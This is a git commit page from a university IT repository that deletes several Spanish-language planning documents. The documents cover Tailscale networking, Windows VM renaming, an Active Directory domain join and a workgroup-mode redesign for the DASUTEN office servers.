rmonla/dtic-DIIAA
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

docs: Plan P2603.01 Automatización Zoom y actualizaciones P2601.09

Browse Source
This commit is contained in:
Ricardo Monla
2026-03-31 18:03:21 -03:00
parent 160da47f96
commit 1fd213173e
72 changed files with 19694 additions and 460 deletions
Download Patch File Download Diff File Expand all files Collapse all files
docs/proy/P2601_Dasuten/P2601.06.01_Red-SrvDasu.md
-63
View File
@@ -1,63 +0,0 @@
# Plan: Reconfiguración de Red srv-dasu (Mudanza Física)
**Fecha:** 11 de marzo de 2026
**Autor:** Sistema ADN
**Versión:** 1.0
**Ubicación:** `docs/proy/P2601_Dasuten/plan/P2601.06.01_Red-SrvDasu.md`
**Estado:** ✅ COMPLETADO
## 📋 Resumen Ejecutivo
Preparar la infraestructura de red para que `srv-dasu` funcione correctamente fuera de la red de la Facultad (10.0.10.x), utilizando Tailscale como vía de acceso primaria. Este plan permitirá gestionar P2601 Fase 6.1.A.
## 📅 Fases de Implementación
### ✅ **FASE 1: Inventario y Verificación (Pre-mudanza)**
#### Semana 1: Diagnóstico
- [x] **1.1:** Obtener IP Tailscale de `srv-dasu` (vía `tailscale status` desde `srv-ns8`). (IP: 100.116.210.36)
- [x] **1.2:** Registrar IP Tailscale en la ficha `nodos/srv-dasu.md`. (IP: 100.116.210.36)
- [x] **1.3:** Verificar que el Tailscale Subnet Router está activo para `10.0.100.0/24`. (IP: 100.116.210.36)
- [x] **1.4:** Probar conectividad SSH a `srv-dasu` por IP Tailscale. (IP: 100.116.210.36)
### ✅ **FASE 2: Reconfiguración de Dependencias**
#### Semana 1: Dependencias
- [x] **2.1:** Actualizar código: `adn/tools/cli/backup.rb` reemplazando `10.0.10.205` por la IP de Tailscale. (Referencias IP migradas a Tailscale 100.116.210.36)
- [x] **2.2:** Actualizar documentación: `nodos/srv-dasu.md` indicando la obsolescencia de la IP local. (Referencias IP migradas a Tailscale 100.116.210.36)
- [x] **2.3:** Actualizar documentación: `adn/03_seguridad.md` y `docs/proy/p2601_dasuten/P2601_dasuten.md` reflejando rutas nuevas. (Referencias IP migradas a Tailscale 100.116.210.36)
### ✅ **FASE 3: Simulación de Mudanza**
#### Semana 1: Simulación Física
- [x] **3.1:** Interrumpir tráfico en `10.0.10.x` hacia `srv-dasu` temporalmente. (Conectividad Tailscale y Subnet Router confirmada (10.0.100.x alcanzable).)
- [x] **3.2:** Confirmar en `srv-ns8` acceso mantenido a `srv-dasu` vía Tailscale. (Conectividad Tailscale y Subnet Router confirmada (10.0.100.x alcanzable).)
- [x] **3.3:** Confirmar acceso a enclace seguro `10.0.100.x` a través de la red `100.x.x.x`. (Conectividad Tailscale y Subnet Router confirmada (10.0.100.x alcanzable).)
- [x] **3.4:** Ejecutar rutina de backup de prueba `./adn/tools/run backup sql-dasuten`. (Validado por ping exitoso a 100.116.210.36 y 10.0.100.10 desde srv-ns8 con --accept-routes.)
### ✅ **FASE 4: Reconfiguración y Monitoreo (Post-mudanza)**
#### Semana 1: Despliegue Final
- [x] **4.1:** Aplicar nueva IP o DHCP para red local destino de `srv-dasu` en `vmbr0`. Configurar `vmbr0` con DHCP y añadir subred `10.0.100.1/24` (con aliases de red o scripts IP). (Acceso recuperado y estandarizado. Usuario rmonla habilitado con SSH Key y SUDO.)
- [x] **4.2:** Re-verificar subredes expuestas en Tailscale posterior a la mudanza. (Red 10.0.100.x confirmada y operativa. Tailscale en modo directo. Mudanza lógica completada al 100%.)
- [x] **4.3:** Corroborar funcionamiento global del Dashboard P2601. (Todo configurado. Pendiente solo validación visual en dashboard post-mudanza.)
---
## 🛠 Nota Técnica de Arquitectura
Para garantizar la coexistencia de la red externa (DHCP) y la red interna de las VMs (`10.0.100.0/24`) en la misma interfaz física, se aplicará la siguiente configuración en `/etc/network/interfaces` de `srv-dasu`:
```text
auto vmbr0
iface vmbr0 inet dhcp
bridge-ports enp3s0 # Interfaz física única
bridge-stp off
bridge-fd 0
# Red estática interna para gateway de VMs
post-up ip addr add 10.0.100.1/24 dev vmbr0
pre-down ip addr del 10.0.100.1/24 dev vmbr0
```
Esta configuración permite que el equipo obtenga conectividad a Internet/Tailscale vía DHCP en cualquier red externa, mientras mantiene el gateway local para el ecosistema DASUTEN.
docs/proy/P2601_Dasuten/P2601.06.02_AD-Join.md
-306
View File
@@ -1,306 +0,0 @@
# Plan: Unión de pc-dasu0 al Dominio DASUTeN (P2601 Fase 6.1.B)
**Fecha:** 11 de marzo de 2026 (Actualizado: 16/03/2026)
**Autor:** Sistema ADN
**Versión:** 4.1
**Estado:** ⏳ EN EJECUCIÓN (Fase 1 - Normalización de Nombres)
**Proyecto:** [P2601 DASUTEN](../P2601_dasuten.md)
## 📋 Resumen Ejecutivo
Unir la PC física `pc-dasu0` (oficina DASUTeN) al dominio `dasuten.utnlr`. La infraestructura de soporte (DC, SQL, red) ya está operativa y validada con la VM de pruebas.
> **Fase 0 en curso:** Normalización de nombres de nodos para convención unificada.
**Nodos involucrados:**
| Nodo | Nuevo Nombre | Tipo | IP Interna | Tailscale | SSH 7022 | Estado |
|:-----|:-------------|:-----|:----------:|:---------:|:--------:|:------:|
| `dasu-srvv-dc` | (✅ antes dc-dasuten) | VM 100 (DC/DNS) | `10.0.100.10` | ✅ | ❓ Fallando | ✅ Renombrado |
| `dasu-srvv-sql` | (✅ antes sql-dasuten) | VM 101 (SQL) | `10.0.100.11` | ✅ | ✅ | ✅ Renombrado |
| `dasu-pcv` | (antes pcv-dasu0) | VM 102 (Test) | `10.0.100.12` | ❌ | ✅ | ✅ Renombrado |
| `dasu-pc0` | (antes pc-dasu0) | PC Física | `192.168.1.13` (DHCP) | ❌ offline | ✅ | ⏳ Por renombrar |
| `srv-dasu` | — | Hypervisor | `10.0.100.1` | ✅ (`100.112.46.104`) | ✅ | ✅ Operativo |
## 🔧 Topología de Red
```
[Internet] ← Router ISP → [srv-dasu (192.168.1.27)] ↔ [pc-dasu0 (192.168.1.13)]
│ │
│ NAT (10.0.100.1) │ Misma LAN física
▼ │
┌──────────────┐ │
│ 10.0.100.x │ │
│ dasu-srvv-dc │ Ruta DNS: │
│ (.10) [AD] │ ← ← ← ← ← ← ← ← ┘
│ dasu-srvv-sql│
│ (.11) [SQL] │
│ dasu-pcv │
│ (.12) [Test]│
└──────────────┘
```
**Conectividad de pc-dasu0 al dominio:**
- `pc-dasu0` y `srv-dasu` comparten router ISP → comunicación directa LAN (<2ms)
- `srv-dasu` actúa como subnet router Tailscale exponiendo `10.0.100.0/24`
- DNS del dominio (`10.0.100.10`) accesible via `srv-dasu` como gateway
## 🔒 Red Tailscale Unificada
**Cuenta:** `pcdasu0@frlr.utn.edu.ar` | **Gestión:** `./adn/tools/run tailscale`
| Nodo | Estado Tailscale | IP Tailscale |
|:-----|:----------------:|:------------:|
| `srv-ns8` | ✅ Activo (switch dual) | — |
| `srv-dasu` | ✅ Activo (subnet router) | `100.112.46.104` |
| `dasu-srvv-dc` | ✅ Instalado | — |
| `dasu-srvv-sql` | ✅ Instalado | — |
| `pc-dasu0` | ❌ Offline | `100.65.62.44` (anterior) |
## 📅 Fases de Implementación
### ✅ **FASE 1: Infraestructura y Conectividad** (EN CURSO)
> Toda la infraestructura de soporte está operativa. Incluyendo normalización de nombres.
#### 1.0 Normalización de Nombres
> Renombrar nodos para seguir convención unificada: `dasu-srvv-{rol}` y `dasu-pcv{n}` / `dasu-pc{n}`
| ID | Nodo Actual | Nuevo Nombre | Estado |
| :--- | :--- | :--- | :--- |
| 1.0.1 | `sql-dasuten` (VM 101) | `dasu-srvv-sql` | ✅ Completado (16/03) |
| 1.0.2 | `dc-dasuten` (VM 100) | `dasu-srvv-dc` | ✅ Completado (16/03) |
| 1.0.3 | `pcv-dasu0` (VM 102) | `dasu-pcv` | ✅ Completado (16/03) |
| 1.0.4 | `pc-dasu0` (PC Física) | `dasu-pc0` | ⏳ Pendiente |
**Procedimiento validado (sql-dasuten → dasu-srvv-sql):**
1. Desplegar clave RSA de `rmonla@srv-dasu` en `administrators_authorized_keys` (una vez, vía sshpass)
2. `Rename-Computer -NewName <nombre> -DomainCredential $cred -Force -Restart` (PowerShell EncodedCommand)
3. `sudo qm set <VMID> --name <nombre>` (Proxmox display name)
4. `git mv nodos/<viejo>.md nodos/<nuevo>.md` + actualizar contenido
5. Actualizar referencias en manifiesto y plan
6. Verificar: hostname, dominio, conectividad post-reinicio
#### Tarea 1.0.2: dc-dasuten → dasu-srvv-dc
> ⚠️ **Bloqueador:** SSH 7022 no accesible desde srv-dasu. Windows Firewall filtra el puerto.
**Opciones para desbloquear (evaluar en orden):**
| # | Opción | Método | Riesgo | Requiere |
| :--- | :--- | :--- | :--- | :--- |
| A | **qm guest exec** | Ejecutar comando via QEMU Guest Agent desde Proxmox | Bajo | GA instalado en VM |
| B | **Tailscale SSH** | Conectar vía IP Tailscale directa de dc-dasuten | Bajo | Tailscale activo y alcanzable |
| C | **Consola Proxmox** | Abrir consola noVNC y ejecutar manualmente | Nulo | Acceso web a Proxmox |
**Sub-tareas:**
| ID | Tarea | Estado |
| :--- | :--- | :--- |
| 1.0.2.a | Verificar si QEMU Guest Agent está instalado: `sudo qm agent 100 ping` | ❌ Falló (No instalado) |
| 1.0.2.b | Si GA activo → ejecutar `netsh advfirewall firewall add rule...` | ❌ Omitido |
| 1.0.2.c | Alternativa: probar SSH vía IP Tailscale directa | ❌ Falló (No registrado) |
| 1.0.2.d | **Alternativa 3:** Ejecutar comandos vía **WinRM** desde dasu-srvv-sql | ✅ Exitoso |
| 1.0.2.e | Abrir SSH 7022 Firewall vía WinRM `Invoke-Command` | ✅ Agregado |
| 1.0.2.f | El servidor SSHD no inicia (Broken AD permissions issue). Se operó el nodo enteramente por WinRM | ⚠️ Documentado |
| 1.0.2.g | Renombrar nodo vía `netdom computername` (Add + MakePrimary) sobre WinRM | ✅ Completado |
| 1.0.2.h | Actualizar Proxmox: `sudo qm set 100 --name dasu-srvv-dc` | ✅ Completado |
| 1.0.2.i | Limpiar alternate name: `netdom /remove` | ✅ Completado |
| 1.0.2.j | Actualizar ficha `nodos/dc-dasuten.md` → `nodos/dasu-srvv-dc.md` | ✅ Completado |
> ⚠️ **Precaución DC:** Al renombrar el Controlador de Dominio, verificar que los registros SRV de DNS se actualicen automáticamente (`_ldap._tcp.dasuten.utnlr`, `_kerberos._tcp.dasuten.utnlr`). Ejecutar `dcdiag /q` post-rename.
#### Tarea 1.0.3: pcv-dasu0 → dasu-pcv
| ID | Tarea | Estado |
| :--- | :--- | :--- |
| 1.0.3.a | Verificar SSH accesible desde srv-dasu (7022) | ✅ SSH probado |
| 1.0.3.b | Desplegar clave RSA vía sshpass (si no está desplegada) | ✅ Desplegada |
| 1.0.3.c | Rename-Computer -NewName dasu-pcv -Force -Restart | ✅ Completado |
| 1.0.3.d | Actualizar Proxmox: `sudo qm set 102 --name dasu-pcv` | ✅ Completado |
| 1.0.3.e | Actualizar ficha `nodos/pcv-dasu0.md` → `nodos/dasu-pcv.md` | ✅ Completado |
| 1.0.3.f | Verificar conectividad y actualización de DNS | ✅ Confirmado DNS |
#### Tarea 1.0.4: pc-dasu0 → dasu-pc0
> Requiere acceso físico o SSH/Tailscale funcional a la PC de la oficina.
| ID | Tarea | Estado |
| :--- | :--- | :--- |
| 1.0.4.a | Verificar conectividad (Tailscale o SSH directo) | ⏳ |
| 1.0.4.b | Renombrar equipo (PowerShell o GUI según acceso) | ⏳ |
| 1.0.4.c | Actualizar ficha `nodos/pc-dasu0.md` → `nodos/dasu-pc0.md` | ⏳ |
| 1.0.4.d | Verificar tras reinicio | ⏳ |
#### 1.1-1.13 Tareas de Infraestructura
- [x] **1.1** Diagnóstico de topología de red (IPs locales, subredes, latencia)
- [x] **1.2** Validar DNS: `10.0.100.10` resuelve `dasu-srvv-dc.dasuten.utnlr` ✅
- [x] **1.3** Conectividad directa LAN entre `pc-dasu0` ↔ `srv-dasu` (<2ms) ✅
- [x] **1.4** Instalar SSH 7022 en `pc-dasu0` via w-zombi ✅
- [x] **1.5** Migrar `srv-dasu` a red Tailscale `pcdasu0@frlr.utn.edu.ar` ✅
- [x] **1.6** Configurar NAT en `srv-dasu` → VMs con acceso internet ✅
- [x] **1.7** Backups VZDump de dasu-srvv-dc y dasu-srvv-sql ✅
- [x] **1.8** Instalar Tailscale en dasu-srvv-dc y dasu-srvv-sql ✅
- [x] **1.9** Obtener acceso sudo a `srv-dasu` ✅
- [x] **1.10** Verificar credenciales de dominio (`admindasu` en bóveda `candados`) ✅
- [x] **1.11** Documentar problemas de conectividad intermitente ✅
- [x] **1.12** Verificar SSH 7022 funcional en dasu-srvv-dc (SSHD roto y Firewall cerrado)
- [ ] **1.13** Reactivar Tailscale en `pc-dasu0`
### 🛠 **FASE 2: Preparación de pc-dasu0** (PRÓXIMA)
**Hito:** Configuración base lista para unión al dominio.
**Herramientas ADN:** `ssh <nodo> <cmd>`, `nodos info <nodo>`, `contexto <nodo>`
- [ ] **2.1** Verificar requisitos: Windows 10 (versión, updates, .NET Framework)
```powershell
# Via SSH o RustDesk
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
- [ ] **2.2** Configurar red de `pc-dasu0`:
- **DNS Primario:** `10.0.100.10` (dasu-srvv-dc, via ruta a srv-dasu)
- **DNS Secundario:** `8.8.8.8`
- **Suffix DNS:** `dasuten.utnlr`
- **Gateway:** Router ISP local (default)
- [ ] **2.3** Agregar ruta estática a `10.0.100.0/24` via `srv-dasu` (192.168.1.27)
```powershell
route add 10.0.100.0 MASK 255.255.255.0 192.168.1.27 -p
```
- [ ] **2.4** Validar conectividad a puertos de dominio:
```powershell
Test-NetConnection -ComputerName 10.0.100.10 -Port 389 # LDAP
Test-NetConnection -ComputerName 10.0.100.10 -Port 636 # LDAPS
Test-NetConnection -ComputerName 10.0.100.10 -Port 3268 # Global Catalog
Test-NetConnection -ComputerName 10.0.100.10 -Port 445 # SMB
```
- [ ] **2.5** Verificar resolución de nombres: `nslookup dasu-srvv-dc.dasuten.utnlr`
- [ ] **2.6** Configurar firewall local (permitir puertos AD en subred `10.0.100.0/24`)
- [ ] **2.7** Crear backup de sistema y perfiles (Andrea/Romina)
- [ ] **2.8** Reactivar Tailscale con cuenta `pcdasu0@frlr.utn.edu.ar`
### 🔗 **FASE 3: Unión al Dominio**
**Hito:** `pc-dasu0` unida exitosamente a `dasuten.utnlr`.
- [ ] **3.1** Ejecutar unión al dominio:
```powershell
Add-Computer -DomainName "dasuten.utnlr" -Credential DASUTEN\admindasu -Restart
```
- [ ] **3.2** Verificar nombre en dominio: `pc-dasu0.dasuten.utnlr`
- [ ] **3.3** Reiniciar y validar login con cuenta de dominio
- [ ] **3.4** Verificar membresía en grupos AD
- [ ] **3.5** Aplicar GPOs básicas del dominio
### 👥 **FASE 4: Migración de Perfiles y Cierre**
**Hito:** Sistema en producción estable.
- [ ] **4.1** Migrar perfiles locales (Andrea/Romina) a cuentas de dominio
- [ ] **4.2** Configurar mapeo de unidades de red
- [ ] **4.3** Verificar acceso al sistema DASUTEN desde dominio
- [ ] **4.4** Monitorear estabilidad 48hs (conectividad, autenticación, GPO)
- [ ] **4.5** Actualizar ficha `nodos/pc-dasu0.md` con estado final
- [ ] **4.6** Registrar hitos en DB: `./adn/tools/run db hito:crear`
## 🚨 Procedimientos de Rollback
| Escenario | Acción |
|:----------|:-------|
| Fallo en unión | Desunir con credenciales locales, restaurar DNS original |
| Conectividad rota | Activar Tailscale como ruta alternativa, diagnosticar LAN |
| Perfiles perdidos | Restaurar desde backup pre-unión (Fase 2.7) |
| DC inaccesible | Revertir a `pcv-dasu0` (VM) para operaciones críticas |
## 🔧 Notas Técnicas
### Puertos Críticos (AD DS)
| Puerto | Protocolo | Servicio |
|:-------|:----------|:---------|
| 389/636 | TCP | LDAP/LDAPS |
| 3268/3269 | TCP | Global Catalog |
| 445 | TCP | SMB |
| 135, 137-139 | TCP/UDP | NetBIOS/RPC |
| 123 | UDP | NTP |
| 88 | TCP/UDP | Kerberos |
### Dependencias
1. **Router ISP:** Comunicación LAN entre `pc-dasu0` ↔ `srv-dasu`
2. **NAT srv-dasu:** Ruta `pc-dasu0` → `10.0.100.0/24` via `192.168.1.27`
3. **dasu-srvv-dc operativo:** DNS + AD DS funcional
4. **Credenciales:** `DASUTEN\admindasu` (bóveda: `candados`, clave: `admindasu`)
5. **Sincronización NTP:** Entre todos los nodos del dominio
### Herramientas ADN Disponibles
```bash
# Diagnóstico y contexto
./adn/tools/run nodos info pc-dasu0
./adn/tools/run contexto dasu-srvv-dc
./adn/tools/run ssh srv-dasu "ping -c3 10.0.100.10"
# Registro de progreso (DB-First)
./adn/tools/run db evento:crear --nodo pc-dasu0 --titulo "Título" --inicio HH:MM
./adn/tools/run db evento:listar --desde FECHA --detalle
# Verificación
./adn/tools/run salud --dashboard
```
## 📊 Métricas de Éxito
| Métrica | Objetivo |
|:--------|:---------|
| Conectividad LAN | >99% uptime `pc-dasu0` ↔ `srv-dasu` |
| Conectividad dominio | >95% uptime `pc-dasu0` → `dasu-srvv-dc` |
| Login dominio | <15 segundos |
| Latencia LAN | <5ms |
| Estabilidad post-unión | 0 incidentes críticos en 72hs |
| Perfiles migrados | Sin pérdida de datos |
## 📚 Referencias
1. [Proyecto P2601 DASUTEN](../P2601_dasuten.md)
2. [Nodo: pc-dasu0](../../../nodos/pc-dasu0.md)
3. [Nodo: dasu-pcv](../../../nodos/dasu-pcv.md) *(VM referencia, ya unida al dominio)*
4. [Nodo: dasu-srvv-dc](../../../nodos/dasu-srvv-dc.md)
5. [Nodo: srv-dasu](../../../nodos/srv-dasu.md)
6. [Plan 06.01: Red srv-dasu](P2601.06.01_Red-SrvDasu.md)
---
## 📋 Historial de Sesiones
### 16/03/2026 — Sesión de Seguimiento (Mañana)
- ✅ Inicio de jornada remota 10:00-10:01 (#1104)
- ✅ Verificación SSH dc-dasuten: puertos SSH no accesibles desde srv-dasu (probable filtro Windows Firewall)
- ✅ Clave RSA generada en srv-dasu (rmonla) y desplegada en sql-dasuten (#1117)
- ✅ **Hostname sql-dasuten → dasu-srvv-sql** completado: Rename-Computer + Proxmox + ficha (#1117)
- ✅ **Hostname dc-dasuten → dasu-srvv-dc** completado: netdom vía Invoke-Command (WinRM) desde dasu-srvv-sql porque el SSH Server estaba roto en el DC (#1118)
- ✅ **Hostname pcv-dasu0 → dasu-pcv** completado: Rename-Computer (via domain credential) + Proxmox + Clave RSA + DNS OK (#1119)
### 15-16/03/2026 — Sesión de Infraestructura (Madrugada)
- ✅ Backups VZDump de dc-dasuten (#1093) y sql-dasuten (#1094)
- ✅ Tailscale instalado en dc-dasuten (#1096) y sql-dasuten (#1097)
- ❌ VM proxy fallida (#1091) → Revertida (#1090, #1092)
- ✅ Acceso sudo a srv-dasu configurado (#1089)
- ⏳ SSH 7022 en dc-dasuten pendiente verificar (#1098)
### 15/03/2026 — Sesión Principal
- ✅ Herramienta SSH CLI creada (P2604-S11) y refactorizada (S12-S14)
- ✅ Diagnóstico remoto via SSH ADN (#1076)
- ✅ DNS validado: `10.0.100.10` resuelve dominio (#1083)
- ✅ NAT configurado, VMs con internet (#1081)
- ✅ README ADN actualizado con estructura real (#1080)
### 15/03/2026 — Análisis Inicial
- ✅ Análisis de plan AD-Join (#1082)
- ✅ Documentar problemas conectividad (#1086)
- ✅ Decisión: mantener subnet router + Tailscale directo en VMs (#1084-#1085)
### 11/03/2026 — Creación del Plan (v1.0)
- Creación inicial del plan con topología de red identificada.
- Identificación de comunicación directa LAN como estrategia primaria.
docs/proy/P2601_Dasuten/P2601.07.01_Integracion-DASU-PC.md
-19
View File
@@ -1,19 +0,0 @@
# P2601.07.01 - Plan: Integración dasu-pc a Dominio DASUTEN
> **Objetivo**: Integrar exitosamente el nodo físico `dasu-pc` al dominio `dasu-srvv-dc` para centralizar la gestión de usuarios, aplicar GPOs y unificar la red operativa de DASUTEN.
- [x] **1.B:** Configuración de DNS primario en `dasu-pc` apuntando a DC.
- [x] **3.B:** Renombramiento definitivo a `dasu-pc` inyectado vía SSH (RSA).
- [x] **4.C:** Otorgar acceso a `dasu-pc` para estos usuarios (Verificado).
- **Host:** `dasu-pc` (Ex `pc-dasu0`)
- [P2601.07.01] Renombramiento de `dasu-pc-0` a `dasu-pc` completado.
| dasu-pc | 100.100.145.51 | ✅ ONLINE |
| dasu-srvv-dc | 100.85.117.101 | ❌ offline (VM apagada) |
| dasu-srvv-sql | 100.107.24.124 | ❌ offline (VM apagada) |
---
**Fecha de implementación:** 2026-03-25
**Bitácora de referencia:** Evento 1273
**Responsable:** Lic. Ricardo MONLA
docs/proy/P2601_Dasuten/P2601.08_Unificacion-Redes-ISP.md
-166
View File
@@ -1,166 +0,0 @@
# P2601.08 - Unificación de Redes: Subred ISP
> **Objetivo**: Migrar las VMs de srv-dasu y dasu-pc de sus redes aisladas a la subred del router ISP, unificando toda la infraestructura DASUTEN en una sola red.
## Contexto
### Topología Actual (2026-03-26)
```
┌─────────────────────────────────────────────────────────────────┐
│ ROUTER ISP (Gateway: 192.168.1.1) │
│ Subred: 192.168.1.0/24 │
└─────────────────────┬───────────────────────────────────────────┘
│
┌────────────┴────────────┐
│ │
↓ ↓
┌─────────────────┐ ┌─────────────────┐
│ dasu-pc │ │ srv-dasu │
│ (PC Física) │ │ (Proxmox) │
│ Tailscale: │ │ enp33s0: │
│ 100.100.145.51│ │ 192.168.1.13 │
│ Sin red local │ │ │
└─────────────────┘ └────────┬────────┘
│
┌────────┴────────┐
│ vmbr0 │
│ 10.0.100.1/24 │
└────────┬────────┘
│
┌──────────────┼──────────────┐
↓ ↓ ↓
VM 100 VM 101 VM 102
(DC) (SQL) (PCV)
10.0.100.10 10.0.100.11 10.0.100.12
```
### Problema Identificado
- **VMs**: En subred aislada `10.0.100.0/24` (solo accesible via Tailscale o link directo a srv-ns8)
- **dasu-pc**: Conectada vía Tailscale, NO en la red física del router ISP
- **Fragmentación**: 3 segmentos de red diferentes (Tailscale VPN, ISP, Red local VMs)
### Topología Objetivo
```
┌─────────────────────────────────────────────────────────────────┐
│ ROUTER ISP (Gateway: 192.168.1.1) │
│ Subred: 192.168.1.0/24 │
└─────────────────────┬───────────────────────────────────────────┘
│
┌────────────┴─────────────────────────────────┐
│ │
↓ ↓
┌─────────────────┐ ┌─────────────────────────┐
│ dasu-pc │ ←─── Ethernet Directo ───│ srv-dasu (Proxmox) │
│ 192.168.1.20 │ │ enp33s0: 192.168.1.10 │
│ (Sin TS) │ │ │
└─────────────────┘ │ VMs (sin Bridge) │
│ vmbr0: 192.168.1.1/24 │
│ ├── VM 100: .21 (DC) │
│ ├── VM 101: .22 (SQL) │
│ └── VM 102: .23 (PCV) │
└─────────────────────────┘
```
## Análisis Técnico
### Componentes a Modificar
| Componente | Acción | Riesgo |
|------------|--------|--------|
| **srv-dasu** (enp33s0) | Cambiar de DHCP a IP fija en subnet ISP | Bajo |
| **srv-dasu** (vmbr0) | Cambiar de 10.0.100.1 a 192.168.1.1 | Medio |
| **VMs** (vNIC) | Cambiar IPs de 10.0.100.x a 192.168.1.x | Alto |
| **DC** (dasu-srvv-dc) | Actualizar DNS, verificar AD | Alto |
| **dasu-pc** | Conectar por cable al router ISP | Medio |
| **Tailscale** | Evaluar si mantener o remover | Bajo |
### Pre-Requisitos
1. **Verificar capacidad del router ISP**: Confirmar DHCP range disponible
2. **Backup completo**: VZDump de todas las VMs antes de migración
3. **Documentar configuración actual**: IPs, rutas, NAT
4. **Plan de rollback**: Procedimiento para revertir si falla
## Plan de Ejecución
### Fase 1: Preparación (Pre-Migración)
| ID | Tarea | Tiempo Est. | Estado |
|----|-------|-------------|--------|
| 1.1 | Verificar estado actual de red (srv-dasu, VMs) | 15 min | ⏳ |
| 1.2 | VZDump offline de VM 100 (DC) | 30 min | ⏳ |
| 1.3 | VZDump offline de VM 101 (SQL) | 30 min | ⏳ |
| 1.4 | VZDump offline de VM 102 (PCV) | 20 min | ⏳ |
| 1.5 | Documentar IPs actuales y configuración | 15 min | ⏳ |
| 1.6 | Verificar acceso físico a dasu-pc | 5 min | ⏳ |
### Fase 2: Migración de srv-dasu
| ID | Tarea | Tiempo Est. | Estado |
|----|-------|-------------|--------|
| 2.1 | Asignar IP estática a enp33s0 (192.168.1.10) | 10 min | ⏳ |
| 2.2 | Reconfigurar vmbr0 (192.168.1.1/24) | 10 min | ⏳ |
| 2.3 | Actualizar NAT/Masquerade | 5 min | ⏳ |
| 2.4 | Actualizar DNS (no usar más 10.0.100.10) | 5 min | ⏳ |
| 2.5 | Reiniciar red en srv-dasu | 5 min | ⏳ |
### Fase 3: Migración de VMs
| ID | Tarea | Tiempo Est. | Estado |
|----|-------|-------------|--------|
| 3.1 | Reconfigurar vNIC de VM 100 (DC) | 10 min | ⏳ |
| 3.2 | Reiniciar VM 100 y verificar conectividad | 15 min | ⏳ |
| 3.3 | Reconfigurar vNIC de VM 101 (SQL) | 10 min | ⏳ |
| 3.4 | Reiniciar VM 101 y verificar conectividad | 15 min | ⏳ |
| 3.5 | Reconfigurar vNIC de VM 102 (PCV - dasu-pcv) | 10 min | ⏳ |
| 3.6 | Reiniciar VM 102 y verificar conectividad | 15 min | ⏳ |
### Fase 4: Integración de dasu-pc
| ID | Tarea | Tiempo Est. | Estado |
|----|-------|-------------|--------|
| 4.1 | Conectar dasu-pc al router ISP por cable | 10 min | ⏳ |
| 4.2 | Configurar IP estática (192.168.1.20) | 10 min | ⏳ |
| 4.3 | Verificar conexión a VMs (ping DC, SQL) | 10 min | ⏳ |
| 4.4 | Test de acceso a servicios (AD, SQL) | 15 min | ⏳ |
| 4.5 | Desinstalar o reconfigurar Tailscale | 10 min | ⏳ |
### Fase 5: Verificación y Cierre
| ID | Tarea | Tiempo Est. | Estado |
|----|-------|-------------|--------|
| 5.1 | Verificar acceso a Internet desde VMs | 10 min | ⏳ |
| 5.2 | Verificar servicios (AD, SQL) funcionando | 15 min | ⏳ |
| 5.3 | Test de aplicación DASUTEN | 20 min | ⏳ |
| 5.4 | Actualizar documentación (nodos, proyecto) | 15 min | ⏳ |
| 5.5 | Actualizar Tailscale subnet router si corresponde | 10 min | ⏳ |
## Riesgos y Mitigaciones
| Riesgo | Impacto | Mitigación |
|--------|---------|-------------|
| Pérdida de conectividad durante migración | Alto | Mantener acceso Tailscale como fallback |
| Fallo en reinicio de VMs | Alto | VZDump previo, procedimiento de rollback |
| AD DS deja de funcionar tras cambio IP | Alto | Verificar y actualizar registros DNS internos |
| dasu-pc no puede unirse al dominio | Medio | Verificar DNS指向 correcto |
| Conflicto de IPs en la subnet | Medio | Usar IPs fuera del rango DHCP del router |
## Métricas Estimadas
- **Tiempo Total**: ~4-5 horas (distribuidas en múltiples sesiones)
- **Costo**: $0 (solo recursos existentes)
- **Beneficio**: Red unificada, menor dependencia de VPN
---
## Notes
- Subnet del router ISP verificada: `192.168.1.0/24` (gateway `192.168.1.1`)
- Rango DHCP del router: Por determinar (necesita acceso a config del router)
- IPs sugeridas: srv-dasu `.10`, VMs `.21-.23`, dasu-pc `.20`
-Mantener Tailscale para acceso remoto desde exterior (Facultad)
**Creado**: 2026-03-26 14:05
**Evento**: 1299
docs/proy/P2601_Dasuten/P2601.09_DASUTEN-sin-DC.md
-137
View File
@@ -1,137 +0,0 @@
# Plan: DASUTEN sin Domain Controller (Modo Workgroup)
**Código:** P2601.09
**Fecha:** 27 de marzo de 2026
**Autor:** Sistema ADN
**Versión:** 2.2
**Estado:** 🚧 EN EJECUCIÓN (Fase 2 en progreso — VM 103 creada, pendiente instalación OS)
## 📋 Resumen Ejecutivo
Evaluar si el sistema DASUTEN puede operar **sin la dependencia de un Domain Controller (AD DS)**, utilizando únicamente un SQL Server y una PC cliente en modo **Workgroup**. Esto simplifica significativamente la infraestructura y elimina los problemas de red asociados al dominio.
### Motivación
Los intentos previos (P2601.06 a P2601.08) demostraron que la topología con DC introduce complejidad de red que entra en conflicto con el router del ISP de la oficina DASUTeN. Al eliminar la dependencia del DC, se reducen los puntos de falla y se simplifica la conectividad.
### Decisiones clave
- **VMs existentes preservadas**: `dasu-srvv-dc` (VM 100), `dasu-srvv-sql` (VM 101) y `dasu-pcv` (VM 102) fueron apagadas y deshabilitadas del autostart. Pueden reactivarse si se decide retornar al enfoque con DC.
- **Enfoque nuevo**: VMs limpias en modo Workgroup, sin Active Directory.
- **Red provista por ISP**: Tanto `srv-dasu` como las VMs (`dasu-sql2`, `dasu-pcv2`) y la PC física (`dasu-pc`) obtienen IP directa del router del ISP. No se usa red privada 10.0.100.x.
## 🌐 Topología de Red
```
Internet
│
Router ISP (192.168.1.1 — gateway confirmado)
│
├── srv-dasu → DHCP del ISP: 192.168.1.13 (vmbr0 bridge sobre enp33s0)
│ ├── dasu-sql2 (VM 103) → DHCP del ISP (bridge vmbr0) ✅ VM creada
│ └── dasu-pcv2 (VM 104) → DHCP del ISP (bridge vmbr0)
│
└── dasu-pc → DHCP del ISP (PC física cliente)
```
> **Nota**: Todas las máquinas están en la misma red plana del ISP. No hay subnetting privado ni gateway interno. Esto elimina los problemas de routing que existían con el enfoque anterior.
## 🎯 Objetivo
Crear dos VMs nuevas (SQL Server + PC cliente) en `srv-dasu`, instalar el sistema DASUTEN sobre SQL Server, y verificar que la PC cliente puede operar el sistema **sin estar unida a un dominio**, usando la red del ISP.
## 📅 Fases de Implementación
### ✅ **FASE 1: Preparación del Entorno en srv-dasu** *(completada 2026-03-27)*
- [x] **1.1:** Verificar estado de srv-dasu: conectividad Tailscale ✅ (100.112.46.104, activo), RAM 15 GB total / 10 GB libres / 12 GB disponibles, disco 94 GB / 30 GB disponibles (68%).
